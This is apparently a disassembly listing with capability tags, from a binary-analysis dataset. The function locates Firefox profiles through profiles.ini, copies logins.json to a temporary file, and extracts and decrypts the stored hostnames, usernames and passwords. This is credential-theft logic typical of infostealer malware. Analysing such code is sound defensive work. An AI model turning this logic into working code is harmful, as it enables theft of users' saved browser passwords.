Function at 0x40f332
Capabilities:
Check if file exists
Copy file
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d0
push ebx
push esi
push edi
mov esi, ecx
lea ecx, [ebp - 0x14]
push str.Profile
mov dword [ebp - 0x10], esi
call fcn.0040346a
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x4cc]
push ebx
push eax
call fcn.004012cf
add esp, 0xc
mov dword [ebp - 0x40], ebx
lea eax, [ebp - 0x2c4]
mov edi, ebx
push 0x104
push ebx
push eax
call fcn.004012cf
pop ecx
pop ecx
lea edx, [ebp - 0x2c4]
mov ecx, str.firefox.exe
call fcn.0040e1df
pop ecx
test eax, eax
je 0x40fa0a
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040346a
push str._firefox.exe
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
cmp dword [ebp - 0x40], 6
jne 0x40f3ef
push 1
push ecx
lea eax, [ebp - 0x20]
mov ecx, esp
push eax
call fcn.00403611
mov ecx, esi
call fcn.0040e279
test eax, eax
jne 0x40f42c
jmp 0x40fa02
push ebx
push ecx
mov edi, esp
mov dword [edi], ebx
cmp dword [ebp - 0x20], ebx
je 0x40f41b
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp - 0x20]
mov dword [edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, esi
call fcn.0040e279
test eax, eax
je 0x40fa02
mov edi, ebx
push str.MozillaFirefox_
lea ecx, [ebp + 8]
call fcn.004034f3
mov dword [ebp - 0x1c], ebx
cmp dword [ebp + 8], ebx
je 0x40f463
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.profiles.ini
lea ecx, [ebp - 0x1c]
call fcn.004034f3
push str.Profile
lea ecx, [ebp - 0x2c]
call fcn.0040346a
push eax
lea ecx, [ebp - 0x14]
call fcn.004035de
mov ecx, dword [ebp - 0x2c]
call fcn.004068b7
push ebx
lea ecx, [ebp - 0x14]
call fcn.00403591
push dword [ebp - 0x1c]
lea eax, [ebp - 0x4cc]
push 0x104
push eax
push ebx
push str.Path
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x40f9f0
inc edi
lea ecx, [ebp - 0x44]
push str.Profile
mov dword [ebp - 0xa0], edi
call fcn.0040346a
push eax
lea ecx, [ebp - 0x14]
call fcn.004035de
mov ecx, dword [ebp - 0x44]
call fcn.004068b7
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.00403591
cmp dword [ebp + 8], 0
mov dword [ebp - 0x28], ebx
je 0x40f519
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 0x28], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x4cc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004034f3
mov esi, dword [ebp - 0x28]
mov edi, ebx
mov dword [ebp - 0x24], edi
test esi, esi
je 0x40f599
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
push eax
push esi
push 0x200
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
mov ecx, edi
call fcn.00406875
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
push ecx
push ecx
push edi
push ebx
push eax
push esi
push ecx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea ecx, [ebp - 0x70]
call fcn.004037f9
push eax
lea ecx, [ebp - 0x24]
call fcn.00403881
mov ecx, dword [ebp - 0x70]
call fcn.004068b7
mov ecx, ebx
call fcn.004068b7
mov edi, dword [ebp - 0x24]
xor ebx, ebx
mov eax, dword [ebp - 0x10]
push edi
mov eax, dword [eax + 0x84]
call eax
pop ecx
test eax, eax
jne 0x40f9b3
mov eax, dword [ebp - 0x10]
call dword [eax + 0x9c]
mov ecx, eax
mov dword [ebp - 0x9c], ecx
test ecx, ecx
je 0x40f9b3
mov eax, dword [ebp - 0x10]
push ebx
push 1
push ecx
mov eax, dword [eax + 0x98]
call eax
add esp, 0xc
test eax, eax
jne 0x40f9b3
mov dword [ebp - 0xc], ebx
test esi, esi
je 0x40f606
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push esi
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.logins.json
lea ecx, [ebp - 0xc]
call fcn.004034f3
push 0x1a
pop edx
lea ecx, [ebp - 8]
call fcn.00414891
push 0x41a58c
lea ecx, [ebp - 8]
call fcn.004034f3
push 8
pop edx
lea ecx, [ebp - 0x48]
call fcn.00403700
push eax
lea ecx, [ebp - 8]
call fcn.004034b6
mov ecx, dword [ebp - 0x48]
call fcn.004068b7
push str..tmp
lea ecx, [ebp - 8]
mov dword [ebp - 0x48], ebx
call fcn.004034f3
push ebx
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40f674
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.004035de
lea ecx, [ebp - 0xbc]
call fcn.00414e14
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xb8], ebx
test eax, eax
je 0x40f6af
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406886
push dword [ebp - 0xc]
mov dword [ebp - 0xb8], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ecx
push 0xc0000000
lea ecx, [ebp - 0xbc]
call fcn.00415134
lea ecx, [ebp - 0xbc]
test eax, eax
je 0x40f99b
push ebx
push dword [ebp - 0xa8]
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], ebx
push eax
mov dword [ebp - 0x30], ebx
call fcn.004151c9
push str.encryptedUsername
lea ecx, [ebp - 0x78]
call fcn.004037f9
mov ebx, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x74]
push eax
call fcn.00403307
mov edx, ebx
mov ecx, eax
call fcn.00410a75
mov ecx, dword [ebp - 0x74]
mov ebx, eax
mov dword [ebp - 0x18], eax
call fcn.004068b7
mov ecx, dword [ebp - 0x78]
call fcn.004068b7
test ebx, ebx
je 0x40f927
mov edi, dword [ebp - 0x10]
xor esi, esi
push str.hostname
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], esi
call fcn.004037f9
mov ebx, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x7c]
push eax
call fcn.00403307
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x2c]
push ebx
call fcn.004109f6
pop ecx
pop ecx
mov ecx, dword [ebp - 0x7c]
call fcn.004068b7
mov ecx, dword [ebp - 0x80]
call fcn.004068b7
push str.encryptedUsername
lea ecx, [ebp - 0x88]
call fcn.004037f9
mov ebx, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x84]
push eax
call fcn.00403307
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x5c]
push ebx
call fcn.004109f6
pop ecx
pop ecx
mov ecx, dword [ebp - 0x84]
call fcn.004068b7
mov ecx, dword [ebp - 0x88]
call fcn.004068b7
push str.encryptedPassword
lea ecx, [ebp - 0x90]
call fcn.004037f9
mov ebx, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x8c]
push eax
call fcn.00403307
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x58]
push ebx
call fcn.004109f6
pop ecx
pop ecx
mov ecx, dword [ebp - 0x8c]
call fcn.004068b7
mov ecx, dword [ebp - 0x90]
call fcn.004068b7
lea eax, [ebp - 0x38]
mov ecx, edi
push eax
push dword [ebp - 0x5c]
call fcn.0040f28a
lea eax, [ebp - 0x3c]
mov ecx, edi
push eax
push dword [ebp - 0x58]
call fcn.0040f28a
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004038f5
push eax
lea ecx, [ebp - 0x6c]
call fcn.004035de
mov ecx, dword [ebp - 0x4c]
call fcn.004068b7
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x4c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f83e
sub ecx, edx
je 0x40f881
push dword [ebp - 0x38]
lea ecx, [ebp - 0x94]
call fcn.004037f9
lea ecx, [ebp - 0x50]
push ecx
mov ecx, eax
call fcn.004038f5
push eax
lea ecx, [ebp - 0x68]
call fcn.004035de
mov ecx, dword [ebp - 0x50]
call fcn.004068b7
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x50], esi
call fcn.004068b7
mov ecx, dword [ebp - 0x3c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f887
sub ecx, edx
je 0x40f8ca
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x98]
call fcn.004037f9
lea ecx, [ebp - 0x54]
push ecx
mov ecx, eax
call fcn.004038f5
push eax
lea ecx, [ebp - 0x64]
call fcn.004035de
mov ecx, dword [ebp - 0x54]
call fcn.004068b7
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x54], esi
call fcn.004068b7
sub esp, 0x10
mov dword [ebp - 0x60], esi
lea eax, [ebp - 0x6c]
mov ecx, esp
push eax
call fcn.0040c5c4
mov ecx, edi
call fcn.00410e2d
mov ecx, dword [ebp - 0x38]
call fcn.004068b7
mov ecx, dword [ebp - 0x3c]
call fcn.004068b7
mov ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x58]
dec ebx
mov dword [ebp - 0x18], ebx
call fcn.004068b7
mov ecx, dword [ebp - 0x5c]
call fcn.004068b7
mov ecx, dword [ebp - 0x2c]
call fcn.004068b7
lea ecx, [ebp - 0x6c]
call fcn.00402933
test ebx, ebx
jne 0x40f72a
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x24]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
xor ebx, ebx
test eax, eax
je 0x40f96d
push ecx
mov eax, esp
mov dword [ebp - 0x24], eax
mov dword [eax], ebx
cmp dword [ebp - 8], ebx
je 0x40f967
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
mov ecx, dword [ebp - 0x24]
push dword [ebp - 8]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.004150e5
pop ecx
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x9c]
call dword [eax + 0xa0]
mov eax, dword [ebp - 0x10]
pop ecx
call dword [eax + 0x88]
mov ecx, dword [ebp - 0x34]
test ecx, ecx
je 0x40f992
call fcn.00406955
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0xbc]
call fcn.00414e30
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ebx
call fcn.004068b7
mov ecx, edi
call fcn.004068b7
mov ecx, esi
call fcn.004068b7
push dword [ebp - 0x1c]
lea eax, [ebp - 0x4cc]
push 0x104
push eax
push ebx
push str.Path
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edi, dword [ebp - 0xa0]
test eax, eax
jne 0x40f4bd
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.0040ead6
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
inc ebx
call fcn.004068b7
mov ecx, dword [ebp - 0x20]
call fcn.004068b7
mov ecx, dword [ebp - 0x14]
call fcn.004068b7
mov ecx, dword [ebp + 8]
call fcn.004068b7
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4